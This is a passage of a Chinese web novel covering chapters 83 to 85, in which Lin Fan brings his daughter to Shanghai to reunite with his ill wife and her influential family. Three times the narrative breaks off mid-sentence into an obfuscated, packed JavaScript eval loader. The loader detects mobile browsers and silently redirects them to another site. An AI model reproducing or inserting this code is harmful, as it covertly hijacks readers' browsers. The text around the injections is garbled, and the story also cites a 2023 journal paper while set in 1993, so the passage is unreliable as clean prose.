王猛正蹲在货架前整理新到的文具,货架上摆满了五颜六色的笔记本和铅笔,那些笔记本有的印着卡通图案,有的则是简约的纯色封面,铅笔的笔杆上也印着各种各样可爱的花纹。 他一边把文具分类摆放,一边哼着小曲,那欢快的曲调在店里回荡着,营造出一种轻松愉悦的氛围。 看到林凡进来,他笑着抬头:“凡子,刚想跟你说,昨天到的20件公主裙,早上已经卖出去5件了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695031|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是来给孩子准备六一演出服的家长买的。 还有几个家长说要预定,问咱们能不能多进点不同款式的,比如带有蕾丝花边或者亮片装饰的,他们说孩子特别喜欢那种款式。” “演出服的需求得盯紧点,后续再补30件不同款式的,尺码要全,从100码到140码都得有。 特别是120码和130码,这个尺码段的孩子多,而且很多家长都喜欢给孩子买稍微大一点的衣服,所以很容易断货。” 林凡一边交代,一边指了指旁边的文具货架, “新到的卡通文具要按年龄段分类摆,你看,幼儿园小朋友喜欢的动物造型橡皮,像小熊、小兔这种,得放在最下层,高度刚好到小朋友的腰,这样他们自己就能轻松拿到,不用麻烦家长。 小学生用的笔记本,特别是带拼音格子的,要放在第二层,家长伸手就能拿到,不用踮脚。 上次咱们就是因为分类不清楚,把拼音笔记本和高中用的错题本放在一起,有个家长来给上小学一年级的孩子买笔记本, 找了半天都没找到,最后差点没买成,还跟我吐槽说找东西太费劲,说下次可能就不来咱们店买了。 咱们可不能再犯这样的错误了,顾客的体验很重要。” 王猛连忙点头,从口袋里掏出小本子和笔,快速把林凡的话记下来,字迹工整又清晰,每一个要点都标注得很清楚: “放心吧凡子,我等会儿就重新摆,保证分毫不差。 你这是要出去?还带着笑笑,是要去玩吗?是不是要带笑笑去附近的游乐场呀?” “嗯,带笑笑去趟上海, 晚晴那边有点情况,需要我们过去一趟。” 林凡简单说了一句,没有多提晚晴的病情,怕王猛担心,毕竟店里的生意还需要王猛帮忙打理。 他又叮嘱道:“等我到了,到时候给你一个电话号码。店里要是有什么解决不了的事,就给我打电话,虽然长途贵点,但别耽误了生意。 特别是童装的尺码,很多家长对尺码不太了解,要是有人拿不准,你就帮着量量孩子的身高和胸围,再根据咱们的尺码表推荐合适的尺码。 咱们开店,就得让家长放心,不能让他们买回去不合适又来退换,不仅麻烦,还影响口碑。 还有,每天晚上关店前,记得把货款存到银行里,别放在店里,现在治安虽然好,但还是不安全,多注意点总是好的。” 交代完,林凡走到门口,笑笑立刻伸出胳膊,小脸上满是期待,眼睛里闪烁着兴奋的光芒: “爸爸抱!我要跟王叔叔说再见!” 他抱起女儿,笑笑挥着小手,声音清脆,像风铃一样好听: “王叔叔再见!等我回来,要看看你把橡皮摆得好不好哦,要是摆得好,我就原谅你上次把我的小熊橡皮放错地方啦! 上次你把我的小熊橡皮和小兔子橡皮放在一起,我找了好久才找到呢。” 王猛笑着挥手,脸上满是宠溺,眼神里充满了温柔: “放心吧笑笑,叔叔肯定摆得整整齐齐的,比上次好多了。等你回来,叔叔给你留最好看的小熊橡皮,还是你最喜欢的粉色款,保证让你一眼就能找到。” 林凡抱着笑笑上了车,笑笑乖乖地坐在他怀里,小手紧紧攥着自己的画本,画本上还能看到她用蜡笔涂的鲜艳色彩,那些色彩虽然有些杂乱,却充满了童真。 车子发动时,引擎发出轻微的轰鸣声,那声音平稳而有力。她趴在车窗边,小脑袋贴着玻璃,看着“笑笑宝贝屋”的招牌越来越远,招牌上的卡通图案渐渐变小,小脸上露出了一丝不舍。 她小声说: “爸爸,等妈妈好了,我们一起回店里好不好? 我还要帮你卖裙子呢,我可以跟阿姨们说,这条裙子上有草莓,可好看啦,穿在身上就像小公主一样。 我还可以帮你整理文具,把橡皮和铅笔分得整整齐齐的。” 林凡摸了摸女儿的头,手指穿过她柔软的头发,那细腻的触感让他心里满是暖意,仿佛有一股暖流在胸腔里流淌,驱散了所有的不安与焦虑。 他轻声说: “好,等妈妈好了, 我们一家人一起回店里,到时候笑笑就是店里的小帮手,帮爸爸招待客人,好不好? 爸爸相信笑笑一定能做得很好。” 笑笑用力点头,小脸上露出了灿烂的笑容, 像春日里盛开的花朵,娇艳而明媚,那笑容瞬间照亮了整个车厢。 第84章:迟来的团圆 没有太多准备的时间,林凡攥着笑笑温热的小手,握了握王猛的手。 这位36岁的搭档常年和他并肩,此刻见他神色急切,又抱着孩子,立刻明白了分量,拍了拍他的肩: “放心去,这边的事我盯着,有情况随时传呼你。” 林凡点点头,将随身的工作手册塞给王猛,带着几分惶恐—— 毕竟要见的是只在资料里见过的军部高层苏振邦,又有几分连自己都说不清的期待—— 或许能找回分别两年多的妻子,他抱着懵懂的笑笑,坐上了苏瑾瑜安排的黑色奔驰迈巴赫。 车子平稳地驶向省城机场,1993年的机场候机楼还带着计划经济时代的朴素,但苏瑾瑜早已安排好专人对接。 走在无需排队的VIP通道里,林凡看着身边穿着深色西装、步伐干练的助理全程引导,连机票都已提前打印好,这种“特权”体验是他两辈子都未曾有过的—— 从前出远门,光是排队买票、托运行李就要耗上大半天,更别说这样全程无缝衔接的照料。 登上波音737客机时,笑笑被舷窗外巨大的机翼吸引,小手指着云朵叽叽喳喳: “爸爸,云像棉花糖!” 她的好奇暂时冲淡了林凡的紧张。 苏瑾瑜坐在旁边,这位32岁的苏家集团年轻董事长话不多,却主动从包里拿出一包水果糖递给笑笑, 指尖带着商界人少见的温和,偶尔还会顺着笑笑的话,指给她看远处的山峦,态度比之前在京城时明显缓和了许多。 飞机降落在上海虹桥机场时,暮色刚漫过停机坪。 车辆直接驶离机场高速,往市郊一处环境幽静的区域开去—— 这里是同济医院附属的**病房区,门口站着几位身姿挺拔的安保人员,虽然穿着便装,但走路时的步态明显带着军人的利落。 道路两旁的香樟树遮天蔽日,掩映着几栋中式风格的小楼,和苏家北京四合大院的韵味隐隐呼应,显然是经过精心挑选的疗养地。 林凡抱着笑笑,跟着苏瑾瑜走进其中一栋小楼的二层病房。 房间宽敞明亮,进口的医疗监测仪器摆在角落,屏幕上跳动着柔和的绿光,消毒水的味道很淡,取而代之的是窗边白兰花的清香—— 后来他才知道,这是苏振邦特意让助理从花市买来的,因为苏晚晴从小就喜欢这种花。 窗边的沙发上,坐着一位不怒自威的老者,正是笑笑的姥爷苏振邦。 这位65岁的军部高层领导虽已过花甲,却依旧腰板挺直,身上的中山装熨烫得一丝不苟,手里还捏着一份没看完的军事简报,指关节因为常年握枪留下了厚厚的茧。 他抬起头,眼神锐利如鹰,那是在军营里打磨多年的威严,此刻却带着一种难以言喻的复杂神情,落在林凡和笑笑身上,像是在审视,又像是在确认。 而在靠窗的病床上,躺着一个穿着蓝白条纹病号服的女子。 病号服的袖口空荡荡的,衬得她手臂格外瘦削,苍白的脸上没有一丝血色,只有脸颊上还残留着几分往日的轮廓。 她手腕上戴着心率监测手环,床头放着一叠写满医学术语的病历,最上面是同济医院副院长苏静婉——也就是笑笑的小姑奶奶——亲笔开的药方。 当她看到林凡怀里的笑笑时,原本黯淡的眼睛突然亮了起来,泪水瞬间涌满眼眶,那双和林凡记忆深处一般无二的眼睛里, 盛满了激动、愧疚和无限爱意,死死地、贪婪地盯住他们,仿佛怕一眨眼就会消失。 是苏晚晴! 真的是她! 比1991年8月分开时憔悴了太多,但那眉峰的弧度、嘴角的梨涡,一点都没变! “晚晴……” 林凡的喉咙像被什么堵住,声音沙哑得几乎说不出话。 “凡子……笑笑……” 苏晚晴的眼泪顺着脸颊滑落,滴在病号服上晕开一小片水渍。 她挣扎着想坐起来, 手刚撑到床沿就晃了一下, 声音虚弱却充满力量,每一个字都带着两年多的思念。 一直被陌生环境弄得有些怯生生的笑笑,此刻却突然安静下来。 她今年刚满4岁,对母亲的记忆早已模糊,却像是感受到了血脉深处的呼唤。 她先抬头看了看林凡,得到父亲鼓励的眼神后,才伸出胖乎乎的小手,朝着病床上的女子,软软地、带着奶音试探地叫了一声: “妈……妈?” 这一声“妈妈”,像天籁般落在病房里,又像惊雷般击碎了所有的隔阂与沉默。 苏晚晴的哭声瞬间放大,她不顾护士之前“不能激动”的叮嘱,挣扎着伸出手,想要抱住女儿。 苏振邦原本紧绷的肩膀颤了一下,他默默地合上手里的简报,闭上眼睛深吸了一口气,再睁开时,眼底的锐利淡了几分,多了些动容。 林凡快步走到床边,小心翼翼地将笑笑放在苏晚晴的臂弯里。 苏晚晴用尽全身力气抱住女儿,脸贴在笑笑柔软的头发上,失声痛哭,仿佛要将这两年零四个月里,所有的思念、委屈和病痛都哭出来。 笑笑似乎也感受到了母亲的悲伤,小手轻轻拍着苏晚晴的背,小脸贴在她瘦削的脸上,小声说:“妈妈,不哭。” 看着这迟来太久的母女相认,林凡的眼眶也湿润了。 他抬起头,正好对上苏振邦的目光。 这位见惯了大风大浪的军部领导,此刻眼神里少了威严,多了几分复杂—— 其实这两年,苏晚晴每次和他通电话, 都会提到林凡如何带着笑笑过日子,苏振邦也通过苏静婉了解到, 林凡从未因为苏晚晴的离开而亏待孩子,甚至为了给笑笑治病,跑遍了省城的大小医院。 “孩子……受苦了。” 苏振邦站起身,走到床边,声音比刚才柔和了许多, “晚晴都跟我们说了……当年,是她性子急,没跟家里商量就走了,也是我们……太固执,总觉得你和她不是一个世界的人,才没让她联系你们。” 他顿了顿,目光落在紧紧相拥的母女身上,语气变得坚定: “过去的事,不提了。从今往后,笑笑是我们苏家的孩子,你……也是我苏家的女婿。 晚晴的病,你放心,我已经让静婉牵头,联合了同济医院和北京军部医院的专家,成立了专门的治疗小组,倾尽所有,也会治好她。 她离不开你,更离不开孩子,我们……尊重她的选择。” 这一刻,所有的防备、所有的担忧、所有的阶级鸿沟,似乎都在血缘和真情面前悄然消融。 林凡知道,真正融入苏家或许还需要时间—— 毕竟苏家上有退休的**苏老太爷,下有军区副司令、****这样的亲属,自己只是个普通家庭出身的人, 但至少,他赢得了和这个庞大家族对话的资格,为笑笑,也为他和晚晴的未来,打开了一扇可能的大门。 站在一旁,林凡看着相拥的妻女,指尖突然传来一阵熟悉的温热—— 那是他偶然觉醒的“透视”能力在悄然运转。 他下意识地看向苏晚晴,眼前隐约浮现出她体内病灶的位置,比病历上标注的更清晰。 之前他就是靠着这个能力,看出了王猛肩膀上的旧伤隐患,让搭档及时做了治疗。 现在,这个能力或许能帮他更准确地了解晚晴的病情,找到更好的治疗方案。 温暖的阳光透过病房的窗户,洒在相拥的一家人身上,白兰花的香气在空气中轻轻浮动。 迟来的团圆虽然带着病痛的阴影,却也因此显得格外珍贵。 林凡轻轻握住苏晚晴放在被外的手,感受着她掌心的温度,心中涌起一股前所未有的决心: 无论晚晴的病有多棘手,无论前路还要面对多少来自苏家内部或外界的挑战,他都要用尽一切办法,守护住这个失而复得的完整家庭。 就在病房里的温情还未散去时,走廊传来一阵规律的脚步声,伴随着护士轻声的汇报: “苏副院长,302床的苏晚晴女士今天情绪波动有点大,心率刚才稍微升高了些。” 门被轻轻推开,为首的女子穿着挺括的白色医生服,胸前别着“同济医院副院长苏静婉”的金色胸牌, 鼻梁上架着一副细框眼镜,手里捧着厚厚的病历夹,身后跟着两名主治医师和一名护士长。 她刚走进病房,目光先落在苏振邦身上,微微颔首: “哥,我来查个房。” 随即转向病床上的苏晚晴,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701329|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间柔和下来, “晚晴,今天感觉怎么样?刚才护士说你哭了?” 苏静婉走到病床边,先拿起苏晚晴的手腕,指尖搭在脉搏上,另一只手翻开病历夹,钢笔在纸上快速记录着: “心率82, 比昨天稍快,但还在正常范围。 不过你这身体可经不起情绪大起大落, 昨天刚调整的用药方案,还得靠你稳住状态才能见效。” 苏振邦上前一步,声音里带着兄长的关切: “静婉, 昨天跟你说的 北京301医院的肿瘤科专家, 联系得怎么样了?晚晴这病,咱们可不能等。” “哥你放心,” 苏静婉扶了扶眼镜,语气沉稳又专业, “我昨天晚上已经和301的张主任通了视频会议,把晚晴的所有检查报告、病理切片结果都发过去了。 他们团队今天上午会出一份联合诊疗方案,下午就能传到我这里。 目前初步定的是‘靶向药+免疫治疗’的组合,先控制住病灶扩散,等身体指标稳定些,再评估是否需要做微创介入。” 她顿了顿,转头看向一旁的林凡,主动伸出手: “你就是林凡吧?我是晚晴的小姑,苏静婉。之前听晚晴提过,这两年辛苦你带着笑笑了。” 林凡连忙回握,能感受到苏静婉掌心的温度,也听出她语气里的认可: “苏副院长,谢谢您这些年照顾晚晴。 她的病……还有什么需要我和孩子配合的,您尽管说。” “不用这么客气,叫我小姑就好。” 苏静婉笑了笑,翻开病历夹的某一页,指给林凡看, “这是晚晴最近的用药清单,每天早上8点、晚上6点要吃靶向药,饭后半小时吃,不能漏服。 另外她现在免疫力低,笑笑平时来的时候,记得先洗手消毒,别带外面的零食进来,避免交叉感染。” 她又转向苏振邦:“哥,我已经让人在病房隔壁安排了陪护房,林凡要是想留下来照顾,随时可以住进去。 食堂那边也交代了,每天会送两份营养餐,一份给晚晴,一份给陪护的人,都是按肿瘤科的营养配比做的,高蛋白、低脂肪,还加了增强免疫力的食材。” 苏晚晴这时拉了拉苏静婉的衣角,声音还有些沙哑: “小姑,我想让笑笑多陪我一会儿……就一小会儿,我会控制情绪的。” 苏静婉看着她眼底的期盼,又看了看趴在床边、正用小手轻轻摸苏晚晴手背的笑笑,心也软了: “可以,但最多半小时。等会儿护士会过来给你测个血氧,要是指标没问题,明天可以让笑笑多待一阵。 “笑笑,你好。我是你小姑奶奶。我们认识一下好吗?” 笑笑眨了眨大眼睛,看着苏静婉熟悉的眉眼,突然露出笑容,脆生生地叫了声:“小姑奶奶!” 这声称呼让苏静婉笑了起来,她伸手摸了摸笑笑的头:“真乖。以后要是想妈妈了,就让你爸爸带你来,小姑奶奶给你准备好吃的水果。” 查完房准备离开时,苏静婉特意把林凡叫到走廊,递给他一张名片:“这是我的私人电话,不管是晚晴的病情有变化,还是你有什么疑问,随时给我打电话。 我知道你之前对晚晴的治疗情况不了解,晚点我让护士把这半年的诊疗记录复印一份给你,咱们一家人,得把情况都摊开了才好办事。” 林凡接过名片,指尖传来卡片的厚重感,心里也暖了几分。 他看着苏静婉转身走向下一间病房的背影,那挺拔的姿态里,既有副院长的专业严谨,又有苏家亲属的温情, 让他越发觉得,这个迟来的“苏家女婿”身份,不再是遥不可及的隔阂,而是多了一群真正为晚晴着想的亲人。 回到病房时,苏晚晴正抱着笑笑轻声说话,苏振邦坐在沙发上,手里拿着苏静婉留下的用药说明,仔细看着。 阳光透过窗户洒进来,落在三人身上,连空气中的白兰花香气,都似乎变得更温柔了些。 林凡知道,有苏静婉这样专业的亲属把控治疗,有苏振邦的支持, 晚晴的病,终于有了清晰的希望,他们这个破碎了两年多的家,也终于要真正拼合起来了。 第85章: 苏老太爷亲临 医院走廊的米白色地砖上,轮椅轱辘“咕噜——咕噜——”的转动声格外清晰,节奏缓慢却平稳,像是在小心翼翼地踏过时光的褶皱。 神经内科的李护士走在左侧,一手轻扶轮椅扶手,另一只手攥着苏定方的病历夹,声音放得极柔:“苏老太爷,前面就是302病房了,您慢些,地面刚拖过,小心滑。” 门被轻轻推开时,苏振邦几乎是立刻从陪护椅上站起身,快步迎了上去—— 他身上的深灰色中山装熨得没有一丝褶皱,平日里在军部指挥千军万马时挺拔如松的脊背,此刻微微前倾,透着难以掩饰的急切。 轮椅上坐着的86岁老人正是苏定方,这位退休的国家七大**身着一件浅灰色羊绒衫,质地柔软得能看出年头,却依旧干净挺括。 他的头发早已全白,却被精心梳理得丝毫不乱,鬓角的碎发也整齐地贴在耳后; 右手握着一根乌木拐杖,杖身泛着温润的包浆,那是陪伴他二十多年的老物件,此刻正稳稳地靠在轮椅侧栏上。 老人的眼神虽因年岁有些浑浊,却藏着岁月沉淀的温和,像冬日里晒透了的棉被,暖得让人安心。 跟在轮椅后的秦淑慧脚步轻缓,这位62岁的军部文职退休干部,穿着一件藏蓝色暗纹旗袍,外面搭了件米色针织开衫。 她手里拎着一个暗红梅花纹的老粗布包,布包边角绣着细密的锁边,一看就是手工缝制的。 包里除了笑笑爱吃的水果味QQ糖,还有一件浅粉色碎花纯棉小外套—— 因为笑笑皮肤敏感,秦淑慧特意选了无骨缝制的款式,领口还缝了个小小的兔子贴布, “这孩子小舅说喜欢小兔子,特意找老裁缝做的。”她轻声跟苏振邦解释,语气里满是对晚辈的疼惜。 “爸,您怎么来了?路上坐车累着没?” 苏振邦快步走到轮椅前,小心翼翼地扶住父亲的左胳膊,指腹不经意间触到老人手肘处的薄茧—— 那是年轻时握枪、后来握笔留下的痕迹。他的声音比平时低了几分,尾音里带着难以掩饰的关切,连平日里紧绷的眉头,此刻也舒展开了些。 苏定方轻轻摆了摆手,左手搭在儿子扶着自己的手上,目光越过病房里的医疗设备,径直落在病床上的苏晚晴和她怀里的笑笑身上。 老人清了清嗓子,声音带着几分沙哑,却格外清晰,像老钟敲在心上: “昨天振英打电话说,晚晴今天能抱孩子了,我在家坐不住——书房里的报纸翻了半页就看不下去,就让振英安排送我来看看,也放心。” 直到这时,苏振邦才缓缓转过身,目光落在林凡和笑笑身上。 这位65岁的军部高层领导,平日里在军营里总是一身笔挺军装,开会时要求下属“言简意赅、直击重点”,连笑都很少露出。 可此刻,他下意识地抬手理了理中山装的衣领,手指在纽扣上顿了顿,目光先是落在林凡略显局促的脸上—— 林凡今天特意穿了件新的深蓝色衬衫,袖口却因为紧张攥得有些皱;接着又移到笑笑攥着苏晚晴衣角的小手上,那只小手肉乎乎的,指甲剪得圆圆的,还沾着一点彩色的蜡笔痕迹。 沉默了几秒,苏振邦重重叹了口气,那口气里藏着愧疚与释然,像卸下了压在心头多年的石头: “当年是我们太固执,总想着苏家是军政世家——你大哥瑾华现在在华北军区当副司令,上个月刚带队完成了边境线的冬季巡查,冻得耳朵都起了冻疮; 你二哥瑾国在燕京当****,这阵子忙着推进老城区改造,天天泡在工地上; 连你小姑静婉,在同济医院当副院长,除了坐诊还要管行政,经常半夜才回家。” 他顿了顿,眼神里多了几分自责, “我们总觉得,你那时只是县城里的普通工人,每个月工资刚够糊口,门不当户不对,怕晚晴跟着你受委屈—— 她从小在我们身边长大,没吃过苦,所以才逼得她当年不告而别,躲到上海找静婉治病。” 话音落,苏振邦上前一步,伸手拍了拍林凡的肩膀,力道不轻不重,却带着明确的认可—— 那是一种长辈对晚辈的接纳,也是对过去的和解。 “现在看到晚晴眼里的光,我才明白错了。” 他的声音软了些,“静婉昨天跟我打电话说,晚晴这两天的血氧饱和度比上周高了3个百分点,之前总说没胃口,昨天还主动喝了小半碗粥。 一家人啊,平平安安、心凑在一起,比什么门第、身份都重要。” 说着,他转头看向病床上的女儿,语气瞬间柔得能滴出水来—— 那是平日里在军部从不会有的温柔,只有面对家人时才会流露: “晚晴的病你别担心,我已经通过军部的海外医疗合作渠道,联系了美国哈佛大学医学院的肿瘤专家团队。” 他特意顿了顿,怕女儿听不懂,又解释道, “就是之前给你小姑寄过研究报告的那组团队,他们2023年在《新英格兰医学杂志》上发表过相关病例研究,专门治晚期淋巴肿瘤。” 他伸出手指,认真地数着,“他们总共治疗过12例和你症状相似的患者,有8例实现了5年以上的长期缓解,最长的一位已经活了8年,现在还能正常工作。” “下周他们就会飞过来,到时候和静婉的同济医院团队、北京301医院的张主任一起联合会诊。” 苏振邦的语气格外坚定,像在给女儿吃定心丸, “张主任你还记得吗?去年你去北京检查,就是他给你看的,他手里也有好几例成功的病例。咱们不缺资源,一定能把病治好。” 林凡听到“301医院张主任”,立刻想起三天前苏静婉查房时提到的联合诊疗方案,连忙点头,语气里满是感激: “谢谢您,伯父。之前小姑也跟我说了靶向药和免疫治疗的计划,我这两天特意买了个皮质封面的笔记本,把晚晴每天的用药时间都记下来了。” 他一边说,一边从口袋里掏出笔记本,翻开给苏振邦看——页面上用黑色水笔写得工工整整: “早8点:靶向药1粒(饭后半小时);晚6点:免疫抑制剂1支(饭后半小时)”, 旁边还贴着黄色便利贴,写着 “上次吃靶向药后轻微恶心,下次可搭配温水送服”。“我保证绝对不会漏服,每天都会提前十分钟准备好药和水。” “叫什么伯父,该叫爸了。” 苏定方在轮椅上开口,手里的乌木拐杖轻轻敲了敲地面,声音不大,却带着不容置疑的威严,又藏着长辈的慈爱。 “以后你和笑笑常来北京的四合大院,那也是你们的家。” 他看向苏振邦,语气里带着吩咐, “振邦,回头让淑慧把西厢房收拾出来,给他们父女俩留着。” 秦淑慧立刻笑着应道: “我早就安排好了。家里的王阿姨昨天已经把西厢房的被褥晒过了,用的是院里石榴树底下的竹编晒衣杆,晒了整整一下午,满是太阳的味道。” 她从布包里拿出一个小包裹,打开是件浅棕色的小棉袄,“这是我在瑞蚨祥给笑笑买的,里面填的是新拆的羊绒,软和得很,袖口和领口都缝了松紧带,不会灌风。 我特意问了笑笑的身高,按110码买的,明年还能穿。” 这时,笑笑从苏晚晴怀里慢慢爬到床上,小短腿晃了晃,肉乎乎的小手攥着苏晚晴的病号服衣角,笨拙地帮她擦去脸颊的眼泪—— 那眼泪里还带着之前激动的余温,此刻却染上了笑意,顺着脸颊滑下来,滴在笑笑的手背上,凉凉的。 “妈妈不哭,笑笑会听话,还会给你唱幼儿园教的歌!” 说着,笑笑奶声奶气地张开嘴,小脑袋还跟着节奏轻轻晃,调子偶尔跑了调,她自己却没察觉,反而唱得更认真: “小兔子乖乖,把门开开,快点开开,我要进来……”唱到“我要进来”时,还特意举起小手,做了个“开门”的动作。 苏晚晴被女儿逗得破涕为笑,连忙把她搂进怀里,下巴轻轻抵着笑笑柔软的头发——那头发刚洗过,带着淡淡的草莓味洗发水香气。 眼泪却还是忍不住往下掉,滴在笑笑印着浅棕色小熊图案的衣领上,晕开一小片湿痕。“妈妈没哭,是高兴。”她轻声说,声音还有些沙哑,却满是暖意。 阳光透过病房的玻璃窗洒进来,落在她们相拥的身上,像盖了层暖融融的羊绒毯子—— 那是午后两点的阳光,不刺眼,却足够温暖,把苏晚晴苍白的脸颊映得多了几分血色。 秦淑慧刚放在床头柜上的百合花,花瓣舒展着,淡淡的花香混着阳光的味道,比之前更温柔了些,悄悄漫满了整个病房。 林凡站在一旁,悄悄运转起体内的“透视”能力—— 这是他偶然发现的特殊能力,此刻却成了他安心的来源。 他的视线缓缓掠过苏晚晴的身体,能清晰地看到她肺部病灶周围的炎症区域比三天前缩小了约1.2厘米,原本红肿的边缘变得平缓,靶向药已经开始起效; 原本活跃度只有正常水平35%的淋巴组织,此刻正缓慢回升到40%,像沉睡的种子慢慢苏醒; 连之前一直偏高的C反应蛋白(炎症指标),数值也从三天前的68mg/L降到了52mg/L,朝着正常范围靠近。 他心里悄悄松了口气,赶紧拿出笔记本划开备忘录——里面记录着近一周的各项数据:10月20日,C反应蛋白68mg/L,免疫细胞活性35%; 10月21日,C反应蛋白65mg/L,免疫细胞活性37%;10月23日,C反应蛋白52mg/L,免疫细胞活性40%。他默默在心里记下: 明天开始,每天晚上睡前记录一次晚晴的气血流动速度和免疫细胞活性,每周整理成表格用邮件发给苏静婉,帮医生更精准地调整治疗方案。 就在这时,病房门被再次推开,苏瑾瑜端着一个印着“苏氏集团”烫金logo的白瓷保温桶走了进来。 这位32岁的苏家集团年轻董事长,平日里出席商业峰会时总穿着意大利定制西装,领口系着真丝领带,周身带着商界精英的疏离感; 可此刻,他特意解了领带,随意搭在臂弯里,袖口挽到小臂,露出手腕上一块低调的百达翡丽机械表—— 那是他父亲送的30岁生日礼物,平时很少外露。他手里的保温桶是苏氏集团定制的,外层裹着米白色绒布套,还冒着淡淡的热气,能隐约闻到里面的米香。 “爸,小姑刚才打电话说,姐现在能吃点清淡的流食。” 苏瑾瑜走到病床边,声音比平时放得柔和,“我让集团旗下‘苏府宴’酒店的后厨准备的,用的是东北五常基地直供的有机小米, 搭配山东有机种植的贝贝南瓜,熬了两个小时,用的是砂锅,已经炖得很烂了,不用嚼就能咽。” 苏振邦连忙接过保温桶,动作轻柔地打开盖子——一股清甜的米香瞬间漫了出来,还夹杂着南瓜的甜意。 他从床头柜上拿起准备好的白瓷小勺子,舀起一勺粥,先放在嘴边轻轻吹了吹,又沾了一点在自己嘴唇上试温度,确认不烫后才递到苏晚晴嘴边,声音轻得像羽毛: “慢点喝,要是不够,让瑾瑜再让厨房做一份,他们酒店离医院近,半小时就能送来。” 平日里在军部指挥千军万马、连汇报工作都要求“一分钟说清重点”的苏振邦,此刻喂粥的动作却格外耐心。 苏晚晴每咽下一口,他都会轻声问一句“烫不烫”,喝完后还从口袋里掏出柔软的棉柔巾,轻轻帮她擦了擦嘴角—— 那棉柔巾是秦淑慧特意准备的,不含荧光剂,怕刺激到苏晚晴的皮肤。 笑笑趴在床边,小脑袋凑得很近,眼睛亮晶晶地看着妈妈喝粥,小嘴巴还小声念叨: “妈妈,等你好了,我带你去我们家的‘笑笑宝贝屋’!” 她伸出小手,掰着手指头数, “现在我们有两家店啦,第一家在县城中心街,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701330|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去年剪的彩;第二家在实验小学旁边,每天都有好多小朋友来买绘本。” 她顿了顿,语气里满是骄傲, “下个月王猛叔叔说要在邻县开第三家店,比前两家都大,里面有好多好多绘本,还有陶艺区,我可以帮你做一个小兔子的陶艺!” “店里还有好多好看的小裙子,有粉色的、蓝色的,还有带小蝴蝶结的。” 笑笑的声音又软又甜,“我帮你选最漂亮的那一件,咱们还要一起去人民公园喂鸽子。 我知道有个地方的鸽子一点都不怕人,上次我喂它们吃奶奶做的豆沙包,有只白色的鸽子还落在我手上了呢,它的爪子软软的,一点都不疼!” 林凡站在一旁,补充道:“‘笑笑宝贝屋’现在主营亲子文具和童装,上个月两家店的总营业额有12万3千多,比上个月涨了15%。” 他说这话时,语气里带着几分自豪—— 那是他这两年靠自己的努力打拼出来的事业,不是靠苏家的资源,而是每天起早贪黑跑货源、盯门店换来的,也是他能挺直腰杆站在苏家面前的底气。 “下个月开的分店在邻县的步行街,面积有120平米,比现在的店大了一倍。 我计划把绘本区扩大,进几百本新绘本,比如笑笑喜欢的《小兔子乖乖》《小熊的生日》; 手工区除了陶艺,还加了儿童绘画和折纸,到时候让笑笑当‘小店长’,帮着给小朋友推荐绘本、教他们折纸。” 苏瑾瑜坐在沙发上,听着林凡的话,嘴角露出了难得的笑意——那不是商场上礼貌性的微笑,而是发自内心的认可。 他从公文包里拿出一个银色的傻瓜相机,那是佳能1992年推出的型号,是他去年去日本出差时在东京秋叶原买的,平时很少用,这次特意带来记录家人的瞬间。 他悄悄对准病床方向,调整了一下角度,避开了床头的输液架和心电监护仪,只把苏晚晴抱着笑笑的画面框进去—— 苏晚晴脸上带着温柔的笑意,笑笑靠在她怀里,小脑袋蹭着她的肩膀。 “咔嚓”一声,快门声很轻,却清晰地落在每个人耳里。 苏定方在轮椅上侧身看着她们,手里的拐杖放在腿上,眼神里满是慈爱; 苏振邦正低头帮晚晴调整枕头高度,手指轻轻捏了捏枕头,确认软硬度合适; 秦淑慧则在一旁整理笑笑的小外套,把衣角轻轻掖好。 这温馨的一幕,被定格在柯达胶片里,成了永恒的纪念。 “小舅,你在拍照吗?” 笑笑的耳朵格外灵敏,立刻仰起头看着苏瑾瑜,眼睛里满是好奇。 苏瑾瑜放下相机,笑着点头,伸手揉了揉笑笑的头发: “对呀,等笑笑下次去北京,小舅把照片洗出来给你当纪念。到时候咱们把照片贴在相册里,你还可以在旁边画小爱心。” 病房里的氛围越来越暖,像煮在砂锅里的小米粥,慢慢熬出了甜意。 笑笑还在叽叽喳喳地给苏晚晴讲幼儿园的趣事,小嘴巴不停: “妈妈,昨天小明把积木搭成了一座大房子,有三层呢,还有小窗户和小花园,他说要邀请我和小红去做客。 我还把爸爸早上做的豆沙包分了一半给他,那豆沙包是红豆做的,可甜了!” 她顿了顿,语气里满是骄傲,“老师说我是有礼貌的小朋友,还奖励我一颗小红星,现在我的名字旁边有三颗小红星啦,贴在幼儿园的光荣榜上,最上面的那一颗就是我的!” 